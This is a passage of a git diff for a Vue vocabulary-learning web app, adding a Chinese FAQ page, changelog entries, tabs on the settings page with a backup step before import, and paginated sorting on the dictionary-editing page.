|
||||
}
|
||||
|
||||
|
||||
156
src/pages/qa.vue
Normal file
156
src/pages/qa.vue
Normal file
@@ -0,0 +1,156 @@
|
||||
<script setup lang="ts">
|
||||
import BasePage from '@/components/BasePage.vue'
|
||||
import Collapse from '@/components/base/Collapse.vue'
|
||||
import WeChat from '@/components/ChannelIcons/WeChat.vue'
|
||||
import { APP_NAME, GITHUB } from '@/config/env.ts'
|
||||
import ConflictNoticeText from '@/components/ConflictNoticeText.vue'
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<BasePage>
|
||||
<div class="center">
|
||||
<div class="card qa w-2/3">
|
||||
<div class="font-bold text-2xl mb-6">常见问题解答</div>
|
||||
<div class="list">
|
||||
<Collapse
|
||||
q="网站是免费的吗?"
|
||||
:a="[
|
||||
'不完全免费,因为想要长久发展后续收费是必然的,但不会必须付费才能使用,我们尽量在免费与收费之间找一个平衡点',
|
||||
// '不登录依然可以使用大部分功能,但数据需要自己管理,如需多设备使用则需要自行导入导出',
|
||||
// '登录后提供官方词典/书籍的数据同步功能,如需要同步自定义词典/书籍,则需要开通会员,同时会提供更多的学习内容和功能',
|
||||
'项目是开源的,可自行部署',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse q="无法输入,按下键盘没有反应?">
|
||||
<ConflictNoticeText />
|
||||
</Collapse>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse q="数据在哪?怎么在多台电脑/设备之间使用?">
|
||||
<div>
|
||||
1. 所有用户数据
|
||||
<b class="text-red">保存在本地浏览器中</b>。如果您需要在不同的设备、浏览器上使用
|
||||
{{ APP_NAME }}, 您需要手动进行数据导出和导入
|
||||
</div>
|
||||
<p>
|
||||
2. 设置 -> 数据设置 -> 在原电脑上导出数据 -> 通过社交软件发送给新电脑 ->
|
||||
在新电脑上导入
|
||||
</p>
|
||||
<p>3. 正在开发账户体系</p>
|
||||
</Collapse>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse q="网站自动规划的单词数量太多了,怎么修改?">
|
||||
<p>
|
||||
1.
|
||||
默认复习词数量与新词数量是1:4,如果新词40个,那么会复习40个上次学习的,复习120个之前学习的(由近到远)
|
||||
</p>
|
||||
<p>2. 您可在通过 设置 -> 单词设置 -> 复习比 修改</p>
|
||||
</Collapse>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="完成一次学习要很久,流程是不是太冗长了?"
|
||||
:a="[
|
||||
'这的确是个问题,冗长的流程容易让人失去背单词的积极性,我正在思考如何优化学习流程,如果您有好的建议欢迎反馈',
|
||||
'错误单词会重新再来,如果只是手误按错了,后续重新练习时,可以按Tab键跳过。无法判断用户是手误还是真的不会,所以只能错词统统重来,直到正确为止',
|
||||
'复习时,只有选择了不认识的单词才会要求听写与默写,这是合理的,不过目前会出现同一个单词复习了N遍的问题',
|
||||
'上线了账户体系之后,会添加艾宾浩斯的记忆曲线功能,到时候规划的复习单词会比现在更智能',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="会添加艾宾浩斯的记忆曲线功能吗?"
|
||||
:a="['上线了账户体系之后,会添加艾宾浩斯的记忆曲线功能']"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="能否 自行添加单词/自定义词典/导入自己的单词/修改单词内容?"
|
||||
:a="[
|
||||
'可以',
|
||||
'在单词界面,点击“创建个人词典”',
|
||||
'创建完成之后,在词典详情页面,点击 “添加单词” 图标,即可添加自己的单词',
|
||||
'也可以点击 “导入” 图标,批量导入(需要严格按照模板xlsx格式来)',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="能否 自行添加文章/自定义书籍/导入自己的文章/修改文章内容?"
|
||||
:a="[
|
||||
'可以,操作步骤基本和添加单词的一样',
|
||||
'在文章界面,点击“创建个人书籍”',
|
||||
'创建完成之后,在书籍详情页面,点击顶部的 “文章管理” 按钮,即可添加自己的文章',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse q="怎么关闭按键音?" :a="['设置 -> 通用设置 -> 音效 -> 按键音,关闭即可']" />
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="平板能用吗?"
|
||||
:a="[
|
||||
'平板可以使用,但使用蓝牙键盘体验会更好,毕竟系统自带的虚拟键盘占了1/3的屏幕空间,比较影响观感',
|
||||
'连接蓝牙键盘',
|
||||
'安卓平板,需要开启 “电脑模式”;iPad无需此操作',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="手机能用吗?"
|
||||
:a="[
|
||||
'手机可以使用,但暂时未进行其针对优化,使用起来可能会有不方便的地方,还是建议在电脑或平板上用',
|
||||
]"
|
||||
/>
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse q="有APP、小程序吗?" a="无,只有网站" />
|
||||
|
||||
<div class="line"></div>
|
||||
|
||||
<Collapse
|
||||
q="如何向开发团队反馈问题和功能需求?"
|
||||
:a="[
|
||||
'可以加入我们官方 微信 群, 详细的描述您想要的功能以及告知这个功能想要解决的问题是什么',
|
||||
'如果您在应用中发现了错误或漏洞,请提供详细的描述和重现问题的步骤,当然最好提供一个小视频',
|
||||
'也可以给我们提工单',
|
||||
'也可以去 github/issues 提交',
|
||||
]"
|
||||
>
|
||||
<div class="flex items-center">
|
||||
微信群:
|
||||
<WeChat />
|
||||
</div>
|
||||
<p>
|
||||
GitHub地址:<a :href="GITHUB" target="_blank">{{ GITHUB }}</a>
|
||||
</p>
|
||||
<div class="">
|
||||
工单反馈:<a :href="`https://v.wjx.cn/vm/ev0W7fv.aspx#`" target="_blank"
|
||||
>https://v.wjx.cn/vm/ev0W7fv.aspx#</a
|
||||
>
|
||||
</div>
|
||||
</Collapse>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</BasePage>
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss"></style>
|
||||
@@ -4,6 +4,30 @@
|
||||
|
||||
<template>
|
||||
<div>
|
||||
<div class="log-item">
|
||||
<div class="mb-2">
|
||||
<div>
|
||||
<div>日期:2025/12/17</div>
|
||||
<div>内容:新增帮助页面</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="log-item">
|
||||
<div class="mb-2">
|
||||
<div>
|
||||
<div>日期:2025/12/16</div>
|
||||
<div>内容:修复弹框内边距太小;单词、文章、通用设置在设置页面、练习界面均可进行设置</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="log-item">
|
||||
<div class="mb-2">
|
||||
<div>
|
||||
<div>日期:2025/12/15</div>
|
||||
<div>内容:修复在黑暗模式下,翻译颜色不正确;支持中文符号输入</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="log-item">
|
||||
<div class="mb-2">
|
||||
<div>
|
||||
|
||||
@@ -1,70 +1,43 @@
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, ref, watch } from "vue";
|
||||
import { nextTick, ref, watch } from "vue";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { getAudioFileUrl, usePlayAudio } from "@/hooks/sound.ts";
|
||||
import { getShortcutKey, useEventListener } from "@/hooks/event.ts";
|
||||
import {
|
||||
checkAndUpgradeSaveDict,
|
||||
checkAndUpgradeSaveSetting,
|
||||
cloneDeep,
|
||||
loadJsLib,
|
||||
shakeCommonDict,
|
||||
sleep
|
||||
} from "@/utils";
|
||||
import { DefaultShortcutKeyMap, ShortcutKey, WordPracticeMode } from "@/types/types.ts";
|
||||
import { checkAndUpgradeSaveDict, checkAndUpgradeSaveSetting, cloneDeep, loadJsLib, sleep } from "@/utils";
|
||||
import { DefaultShortcutKeyMap } from "@/types/types.ts";
|
||||
import BaseButton from "@/components/BaseButton.vue";
|
||||
import VolumeIcon from "@/components/icon/VolumeIcon.vue";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { saveAs } from "file-saver";
|
||||
import {
|
||||
APP_NAME, APP_VERSION, EMAIL,
|
||||
EXPORT_DATA_KEY, GITHUB, Host, LIB_JS_URL,
|
||||
APP_NAME,
|
||||
APP_VERSION,
|
||||
Host,
|
||||
LIB_JS_URL,
|
||||
LOCAL_FILE_KEY,
|
||||
Origin,
|
||||
PracticeSaveArticleKey,
|
||||
PracticeSaveWordKey, SAVE_DICT_KEY, SAVE_SETTING_KEY, SoundFileOptions
|
||||
PracticeSaveWordKey
|
||||
} from "@/config/env.ts";
|
||||
import dayjs from "dayjs";
|
||||
import BasePage from "@/components/BasePage.vue";
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import { Option, Select } from "@/components/base/select";
|
||||
import Switch from "@/components/base/Switch.vue";
|
||||
import Slider from "@/components/base/Slider.vue";
|
||||
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
|
||||
import Radio from "@/components/base/radio/Radio.vue";
|
||||
import InputNumber from "@/components/base/InputNumber.vue";
|
||||
import PopConfirm from "@/components/PopConfirm.vue";
|
||||
import Textarea from "@/components/base/Textarea.vue";
|
||||
import SettingItem from "@/pages/setting/SettingItem.vue";
|
||||
import { get, set } from "idb-keyval";
|
||||
import { set } from "idb-keyval";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { useUserStore } from "@/stores/user.ts";
|
||||
import { useExport } from "@/hooks/export.ts";
|
||||
import MigrateDialog from "@/components/MigrateDialog.vue";
|
||||
import Log from "@/pages/setting/Log.vue";
|
||||
import About from "@/components/About.vue";
|
||||
import CommonSetting from "@/components/setting/CommonSetting.vue";
|
||||
import ArticleSettting from "@/components/setting/ArticleSettting.vue";
|
||||
import WordSetting from "@/components/setting/WordSetting.vue";
|
||||
|
||||
const emit = defineEmits<{
|
||||
toggleDisabledDialogEscKey: [val: boolean]
|
||||
}>()
|
||||
|
||||
const tabIndex = $ref(4)
|
||||
const tabIndex = $ref(0)
|
||||
const settingStore = useSettingStore()
|
||||
const runtimeStore = useRuntimeStore()
|
||||
const store = useBaseStore()
|
||||
|
||||
//@ts-ignore
|
||||
const gitLastCommitHash = ref(LATEST_COMMIT_HASH);
|
||||
const simpleWords = $computed({
|
||||
get: () => store.simpleWords.join(','),
|
||||
set: v => {
|
||||
try {
|
||||
store.simpleWords = v.split(',');
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
let editShortcutKey = $ref('')
|
||||
|
||||
@@ -238,12 +211,21 @@ function importJson(str: string, notice: boolean = true) {
|
||||
}
|
||||
}
|
||||
|
||||
async function importData(e) {
|
||||
let timer = -1
|
||||
async function beforeImport() {
|
||||
importLoading = true
|
||||
await exportData('已自动备份数据', 'TypeWords数据备份.zip')
|
||||
await sleep(1500)
|
||||
let d: HTMLDivElement = document.querySelector('#import')
|
||||
d.click()
|
||||
timer = setTimeout(()=>importLoading = false, 1000)
|
||||
}
|
||||
|
||||
async function importData(e) {
|
||||
clearTimeout(timer)
|
||||
importLoading = true
|
||||
let file = e.target.files[0]
|
||||
if (!file) return
|
||||
if (!file) return importLoading = false
|
||||
if (file.name.endsWith(".json")) {
|
||||
let reader = new FileReader();
|
||||
reader.onload = function (v) {
|
||||
@@ -311,6 +293,18 @@ function transferOk() {
|
||||
<div class="flex flex-1 overflow-hidden gap-4">
|
||||
<div class="left">
|
||||
<div class="tabs">
|
||||
<div class="tab" :class="tabIndex === 0 && 'active'" @click="tabIndex = 0">
|
||||
<IconFluentSettings20Regular width="20"/>
|
||||
<span>通用设置</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 1 && 'active'" @click="tabIndex = 1">
|
||||
<IconFluentTextUnderlineDouble20Regular width="20"/>
|
||||
<span>单词设置</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 2 && 'active'" @click="tabIndex = 2">
|
||||
<IconFluentBookLetter20Regular width="20"/>
|
||||
<span>文章设置</span>
|
||||
</div>
|
||||
<div class="tab" :class="tabIndex === 4 && 'active'" @click="tabIndex = 4">
|
||||
<IconFluentDatabasePerson20Regular width="20"/>
|
||||
<span>数据管理</span>
|
||||
@@ -339,6 +333,11 @@ function transferOk() {
|
||||
<div class="col-line"></div>
|
||||
<div class="flex-1 overflow-y-auto overflow-x-hidden pr-4 content">
|
||||
|
||||
<CommonSetting v-if="tabIndex === 0"/>
|
||||
<WordSetting v-if="tabIndex === 1"/>
|
||||
<ArticleSettting v-if="tabIndex === 2"/>
|
||||
|
||||
|
||||
<div class="body" v-if="tabIndex === 3">
|
||||
<div class="row">
|
||||
<label class="main-title">功能</label>
|
||||
@@ -383,12 +382,13 @@ function transferOk() {
|
||||
<div>请注意,导入数据将<b class="text-red"> 完全覆盖 </b>当前所有数据,请谨慎操作。执行导入操作时,会先自动备份当前数据到您的电脑中,供您随时恢复
|
||||
</div>
|
||||
<div class="flex gap-space mt-3">
|
||||
<div class="import hvr-grow">
|
||||
<BaseButton size="large" :loading="importLoading">导入数据恢复</BaseButton>
|
||||
<input type="file"
|
||||
accept="application/json,.zip,application/zip"
|
||||
@change="importData">
|
||||
</div>
|
||||
<BaseButton size="large"
|
||||
@click="beforeImport"
|
||||
:loading="importLoading">导入数据恢复</BaseButton>
|
||||
<input type="file"
|
||||
id="import"
|
||||
accept="application/json,.zip,application/zip"
|
||||
@change="importData">
|
||||
</div>
|
||||
|
||||
<template v-if="isNewHost">
|
||||
@@ -537,18 +537,6 @@ function transferOk() {
|
||||
}
|
||||
}
|
||||
|
||||
.import {
|
||||
display: inline-flex;
|
||||
position: relative;
|
||||
|
||||
input {
|
||||
position: absolute;
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
// 移动端适配
|
||||
@media (max-width: 768px) {
|
||||
.setting {
|
||||
|
||||
@@ -1,50 +1,50 @@
|
||||
<script setup lang="tsx">
|
||||
import { DictId } from "@/types/types.ts";
|
||||
import { DictId, Sort } from "@/types/types.ts";
|
||||
|
||||
import BasePage from "@/components/BasePage.vue";
|
||||
import { computed, onMounted, reactive, ref, shallowReactive, watch } from "vue";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { _getDictDataByUrl, _nextTick, convertToWord, isMobile, loadJsLib, useNav } from "@/utils";
|
||||
import { nanoid } from "nanoid";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import BaseTable from "@/components/BaseTable.vue";
|
||||
import WordItem from "@/components/WordItem.vue";
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import PopConfirm from "@/components/PopConfirm.vue";
|
||||
import { detail } from "@/apis";
|
||||
import BackIcon from "@/components/BackIcon.vue";
|
||||
import BaseButton from "@/components/BaseButton.vue";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import EditBook from "@/pages/article/components/EditBook.vue";
|
||||
import { getDefaultDict } from "@/types/func.ts";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import BasePage from "@/components/BasePage.vue";
|
||||
import BaseTable from "@/components/BaseTable.vue";
|
||||
import PopConfirm from "@/components/PopConfirm.vue";
|
||||
import WordItem from "@/components/WordItem.vue";
|
||||
import BaseInput from "@/components/base/BaseInput.vue";
|
||||
import Textarea from "@/components/base/Textarea.vue";
|
||||
import FormItem from "@/components/base/form/FormItem.vue";
|
||||
import Form from "@/components/base/form/Form.vue";
|
||||
import FormItem from "@/components/base/form/FormItem.vue";
|
||||
import Toast from '@/components/base/toast/Toast.ts';
|
||||
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
|
||||
import { AppEnv, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
|
||||
import { getCurrentStudyWord } from "@/hooks/dict.ts";
|
||||
import EditBook from "@/pages/article/components/EditBook.vue";
|
||||
import PracticeSettingDialog from "@/pages/word/components/PracticeSettingDialog.vue";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { getDefaultDict } from "@/types/func.ts";
|
||||
import {
|
||||
_getDictDataByUrl,
|
||||
_nextTick,
|
||||
convertToWord,
|
||||
isMobile,
|
||||
loadJsLib,
|
||||
reverse,
|
||||
shuffle,
|
||||
useNav
|
||||
} from "@/utils";
|
||||
import { MessageBox } from "@/utils/MessageBox.tsx";
|
||||
import { AppEnv, LIB_JS_URL, Origin, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
|
||||
import { detail } from "@/apis";
|
||||
import { nanoid } from "nanoid";
|
||||
import { computed, onMounted, reactive, ref, shallowReactive, shallowRef, watch } from "vue";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
|
||||
const runtimeStore = useRuntimeStore()
|
||||
const base = useBaseStore()
|
||||
const router = useRouter()
|
||||
const route = useRoute()
|
||||
const isMob = isMobile()
|
||||
|
||||
let loading = $ref(false)
|
||||
|
||||
let list = $computed({
|
||||
get() {
|
||||
return runtimeStore.editDict.words
|
||||
},
|
||||
set(v) {
|
||||
runtimeStore.editDict.words = shallowReactive(v)
|
||||
}
|
||||
})
|
||||
let allList = $ref([])
|
||||
|
||||
const getDefaultFormWord = () => {
|
||||
return {
|
||||
@@ -73,7 +73,10 @@ let studyLoading = $ref(false)
|
||||
|
||||
function syncDictInMyStudyList(study = false) {
|
||||
_nextTick(() => {
|
||||
//这里不能移,一定要先找到对应的词典,再去改id。不然先改id,就找不到对应的词典了
|
||||
let rIndex = base.word.bookList.findIndex(v => v.id === runtimeStore.editDict.id)
|
||||
|
||||
runtimeStore.editDict.words = allList
|
||||
let temp = runtimeStore.editDict;
|
||||
if (!temp.custom && ![DictId.wordKnown, DictId.wordWrong, DictId.wordCollect].includes(temp.id)) {
|
||||
temp.custom = true
|
||||
@@ -83,10 +86,10 @@ function syncDictInMyStudyList(study = false) {
|
||||
}
|
||||
temp.length = temp.words.length
|
||||
if (rIndex > -1) {
|
||||
base.word.bookList[rIndex] = temp
|
||||
base.word.bookList[rIndex] = getDefaultDict(temp)
|
||||
if (study) base.word.studyIndex = rIndex
|
||||
} else {
|
||||
base.word.bookList.push(temp)
|
||||
base.word.bookList.push(getDefaultDict(temp))
|
||||
if (study) base.word.studyIndex = base.word.bookList.length - 1
|
||||
}
|
||||
}, 100)
|
||||
@@ -99,7 +102,7 @@ async function onSubmitWord() {
|
||||
let data: any = convertToWord(wordForm)
|
||||
//todo 可以检查的更准确些,比如json对比
|
||||
if (data.id) {
|
||||
let r = list.find(v => v.id === data.id)
|
||||
let r = allList.find(v => v.id === data.id)
|
||||
if (r) {
|
||||
Object.assign(r, data)
|
||||
Toast.success('修改成功')
|
||||
@@ -110,11 +113,11 @@ async function onSubmitWord() {
|
||||
} else {
|
||||
data.id = nanoid(6)
|
||||
data.checked = false
|
||||
let r = list.find(v => v.word === wordForm.word)
|
||||
let r = allList.find(v => v.word === wordForm.word)
|
||||
if (r) {
|
||||
Toast.warning('已有相同名称单词!')
|
||||
return
|
||||
} else list.push(data)
|
||||
} else allList.push(data)
|
||||
Toast.success('添加成功')
|
||||
wordForm = getDefaultFormWord()
|
||||
}
|
||||
@@ -125,19 +128,17 @@ async function onSubmitWord() {
|
||||
})
|
||||
}
|
||||
|
||||
function delWord(id: string, isBatch = false) {
|
||||
let rIndex2 = list.findIndex(v => v.id === id)
|
||||
if (rIndex2 > -1) {
|
||||
if (id === wordForm.id) {
|
||||
wordForm = getDefaultFormWord()
|
||||
}
|
||||
list.splice(rIndex2, 1)
|
||||
}
|
||||
if (!isBatch) syncDictInMyStudyList()
|
||||
}
|
||||
|
||||
function batchDel(ids: string[]) {
|
||||
ids.map(v => delWord(v, true))
|
||||
ids.map(id => {
|
||||
let rIndex2 = allList.findIndex(v => v.id === id)
|
||||
if (rIndex2 > -1) {
|
||||
if (id === wordForm.id) {
|
||||
wordForm = getDefaultFormWord()
|
||||
}
|
||||
allList.splice(rIndex2, 1)
|
||||
}
|
||||
})
|
||||
tableRef.value.getData()
|
||||
syncDictInMyStudyList()
|
||||
}
|
||||
|
||||
@@ -153,7 +154,7 @@ function word2Str(word) {
|
||||
res.phrases = word.phrases.map(v => (v.c + "\n" + v.cn).replaceAll('"', '')).join('\n\n')
|
||||
res.synos = word.synos.map(v => (v.pos + v.cn + "\n" + v.ws.join('/')).replaceAll('"', '')).join('\n\n')
|
||||
res.relWords = word.relWords.root ? ('词根:' + word.relWords.root + '\n\n' +
|
||||
word.relWords.rels.map(v => (v.pos + "\n" + v.words.map(v => (v.c + ':' + v.cn)).join('\n')).replaceAll('"', '')).join('\n\n')) : ''
|
||||
word.relWords.rels.map(v => (v.pos + "\n" + v.words.map(v => (v.c + ':' + v.cn)).join('\n')).replaceAll('"', '')).join('\n\n')) : ''
|
||||
res.etymology = word.etymology.map(v => (v.t + '\n' + v.d).replaceAll('"', '')).join('\n\n')
|
||||
return res
|
||||
}
|
||||
@@ -191,17 +192,16 @@ onMounted(async () => {
|
||||
runtimeStore.editDict = getDefaultDict()
|
||||
} else {
|
||||
if (!runtimeStore.editDict.id) {
|
||||
router.push("/word")
|
||||
return router.push("/word")
|
||||
} else {
|
||||
if (!runtimeStore.editDict.words.length
|
||||
&& !runtimeStore.editDict.custom
|
||||
&& ![DictId.wordCollect, DictId.wordWrong, DictId.wordKnown].includes(runtimeStore.editDict.en_name || runtimeStore.editDict.id)
|
||||
&& !runtimeStore.editDict.custom
|
||||
&& ![DictId.wordCollect, DictId.wordWrong, DictId.wordKnown].includes(runtimeStore.editDict.en_name || runtimeStore.editDict.id)
|
||||
) {
|
||||
loading = true
|
||||
let r = await _getDictDataByUrl(runtimeStore.editDict)
|
||||
runtimeStore.editDict = r
|
||||
}
|
||||
|
||||
if (base.word.bookList.find(book => book.id === runtimeStore.editDict.id)) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await detail({id: runtimeStore.editDict.id})
|
||||
@@ -216,6 +216,9 @@ onMounted(async () => {
|
||||
loading = false
|
||||
}
|
||||
}
|
||||
|
||||
allList = runtimeStore.editDict.words
|
||||
tableRef.value.getData()
|
||||
})
|
||||
|
||||
function formClose() {
|
||||
@@ -263,7 +266,6 @@ async function startTest() {
|
||||
await base.changeDict(runtimeStore.editDict)
|
||||
loading = false
|
||||
nav('word-test/' + store.sdict.id)
|
||||
|
||||
}
|
||||
|
||||
let exportLoading = $ref(false)
|
||||
@@ -321,22 +323,22 @@ function importData(e) {
|
||||
|
||||
if (repeat.length) {
|
||||
MessageBox.confirm(
|
||||
'单词"' + repeat.map(v => v.word).join(', ') + '" 已存在,是否覆盖原单词?',
|
||||
'检测到重复单词',
|
||||
() => {
|
||||
repeat.map(v => {
|
||||
runtimeStore.editDict.words[v.index] = v
|
||||
delete runtimeStore.editDict.words[v.index]["index"]
|
||||
})
|
||||
},
|
||||
null,
|
||||
() => {
|
||||
tableRef.value.closeImportDialog()
|
||||
e.target.value = ''
|
||||
importLoading = false
|
||||
syncDictInMyStudyList()
|
||||
Toast.success('导入成功!')
|
||||
}
|
||||
'单词"' + repeat.map(v => v.word).join(', ') + '" 已存在,是否覆盖原单词?',
|
||||
'检测到重复单词',
|
||||
() => {
|
||||
repeat.map(v => {
|
||||
runtimeStore.editDict.words[v.index] = v
|
||||
delete runtimeStore.editDict.words[v.index]["index"]
|
||||
})
|
||||
},
|
||||
null,
|
||||
() => {
|
||||
tableRef.value.closeImportDialog()
|
||||
e.target.value = ''
|
||||
importLoading = false
|
||||
syncDictInMyStudyList()
|
||||
Toast.success('导入成功!')
|
||||
}
|
||||
)
|
||||
} else {
|
||||
tableRef.value.closeImportDialog()
|
||||
@@ -382,11 +384,6 @@ async function exportData() {
|
||||
exportLoading = false
|
||||
}
|
||||
|
||||
function searchWord() {
|
||||
console.log('wordForm.word', wordForm.word)
|
||||
}
|
||||
|
||||
|
||||
watch(() => loading, (val) => {
|
||||
if (!val) return
|
||||
_nextTick(async () => {
|
||||
@@ -442,210 +439,243 @@ watch(() => loading, (val) => {
|
||||
}, 500)
|
||||
})
|
||||
|
||||
async function requestList({pageNo, pageSize, searchKey}) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
|
||||
} else {
|
||||
let list = allList
|
||||
let total = allList.length
|
||||
if (searchKey.trim()) {
|
||||
list = allList.filter(v => v.word.toLowerCase().includes(searchKey.trim().toLowerCase()))
|
||||
total = list.length
|
||||
}
|
||||
list = list.slice((pageNo - 1) * pageSize, (pageNo - 1) * pageSize + pageSize)
|
||||
return {list, total}
|
||||
}
|
||||
}
|
||||
|
||||
function onSort(type: Sort, pageNo: number, pageSize: number) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
} else {
|
||||
let fun = reverse
|
||||
if ([Sort.reverse, Sort.reverseAll].includes(type)) {
|
||||
fun = reverse
|
||||
} else if ([Sort.random, Sort.randomAll].includes(type)) {
|
||||
fun = shuffle
|
||||
}
|
||||
allList = allList.slice(0, pageSize * (pageNo - 1))
|
||||
.concat(fun(allList.slice(pageSize * (pageNo - 1), pageSize * (pageNo - 1) + pageSize)))
|
||||
.concat(allList.slice(pageSize * (pageNo - 1) + pageSize))
|
||||
runtimeStore.editDict.words = allList
|
||||
Toast.success('操作成功')
|
||||
tableRef.value.getData()
|
||||
syncDictInMyStudyList()
|
||||
}
|
||||
}
|
||||
|
||||
defineRender(() => {
|
||||
return (
|
||||
<BasePage>
|
||||
{
|
||||
showBookDetail.value ? <div className="card mb-0 dict-detail-card flex flex-col">
|
||||
<div class="dict-header flex justify-between items-center relative">
|
||||
<BackIcon class="dict-back z-2"/>
|
||||
<div class="dict-title absolute page-title text-align-center w-full">{runtimeStore.editDict.name}</div>
|
||||
<div class="dict-actions flex">
|
||||
<BaseButton loading={studyLoading || loading} type="info"
|
||||
onClick={() => isEdit = true}>编辑</BaseButton>
|
||||
<BaseButton id="study" loading={studyLoading || loading} onClick={addMyStudyList}>学习</BaseButton>
|
||||
<BaseButton loading={studyLoading || loading} onClick={startTest}>测试</BaseButton>
|
||||
</div>
|
||||
<BasePage>
|
||||
{
|
||||
showBookDetail.value ? <div className="card mb-0 dict-detail-card flex flex-col">
|
||||
<div class="dict-header flex justify-between items-center relative">
|
||||
<BackIcon class="dict-back z-2"/>
|
||||
<div class="dict-title absolute page-title text-align-center w-full">{runtimeStore.editDict.name}</div>
|
||||
<div class="dict-actions flex">
|
||||
<BaseButton loading={studyLoading || loading} type="info"
|
||||
onClick={() => isEdit = true}>编辑</BaseButton>
|
||||
<BaseButton id="study" loading={studyLoading || loading} onClick={addMyStudyList}>学习</BaseButton>
|
||||
<BaseButton loading={studyLoading || loading} onClick={startTest}>测试</BaseButton>
|
||||
</div>
|
||||
</div>
|
||||
<div class="text-lg mt-2">介绍:{runtimeStore.editDict.description}</div>
|
||||
<div class="line my-3"></div>
|
||||
|
||||
{/* 移动端标签页导航 */}
|
||||
{isMob && isOperate && (
|
||||
<div class="tab-navigation mb-3">
|
||||
<div
|
||||
class={`tab-item ${activeTab === 'list' ? 'active' : ''}`}
|
||||
onClick={() => activeTab = 'list'}
|
||||
>
|
||||
单词列表
|
||||
</div>
|
||||
<div class="text-lg mt-2">介绍:{runtimeStore.editDict.description}</div>
|
||||
<div class="line my-3"></div>
|
||||
|
||||
{/* 移动端标签页导航 */}
|
||||
{isMob && isOperate && (
|
||||
<div class="tab-navigation mb-3">
|
||||
<div
|
||||
class={`tab-item ${activeTab === 'list' ? 'active' : ''}`}
|
||||
onClick={() => activeTab = 'list'}
|
||||
>
|
||||
单词列表
|
||||
</div>
|
||||
<div
|
||||
class={`tab-item ${activeTab === 'edit' ? 'active' : ''}`}
|
||||
onClick={() => activeTab = 'edit'}
|
||||
>
|
||||
{wordForm.id ? '编辑' : '添加'}单词
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div class="flex flex-1 overflow-hidden content-area">
|
||||
<div class={`word-list-section ${isMob && isOperate && activeTab !== 'list' ? 'mobile-hidden' : ''}`}>
|
||||
<BaseTable
|
||||
ref={tableRef}
|
||||
class="h-full"
|
||||
list={list}
|
||||
loading={loading}
|
||||
onUpdate:list={e => list = e}
|
||||
del={delWord}
|
||||
batchDel={batchDel}
|
||||
add={addWord}
|
||||
onImportData={importData}
|
||||
onExportData={exportData}
|
||||
exportLoading={exportLoading}
|
||||
importLoading={importLoading}
|
||||
>
|
||||
{
|
||||
(val) =>
|
||||
<WordItem
|
||||
showTransPop={false}
|
||||
item={val.item}>
|
||||
{{
|
||||
prefix: () => val.checkbox(val.item),
|
||||
suffix: () => (
|
||||
<div class='flex flex-col'>
|
||||
<BaseIcon
|
||||
class="option-icon"
|
||||
onClick={() => editWord(val.item)}
|
||||
title="编辑">
|
||||
<IconFluentTextEditStyle20Regular/>
|
||||
</BaseIcon>
|
||||
<PopConfirm title="确认删除?"
|
||||
onConfirm={() => delWord(val.item.id)}
|
||||
>
|
||||
<BaseIcon
|
||||
class="option-icon"
|
||||
title="删除">
|
||||
<DeleteIcon/>
|
||||
</BaseIcon>
|
||||
</PopConfirm>
|
||||
|
||||
</div>
|
||||
)
|
||||
}}
|
||||
</WordItem>
|
||||
}
|
||||
</BaseTable>
|
||||
</div>
|
||||
{
|
||||
isOperate ? (
|
||||
<div
|
||||
class={`edit-section flex-1 flex flex-col ${isMob && activeTab !== 'edit' ? 'mobile-hidden' : ''}`}>
|
||||
<div class="common-title">
|
||||
{wordForm.id ? '修改' : '添加'}单词
|
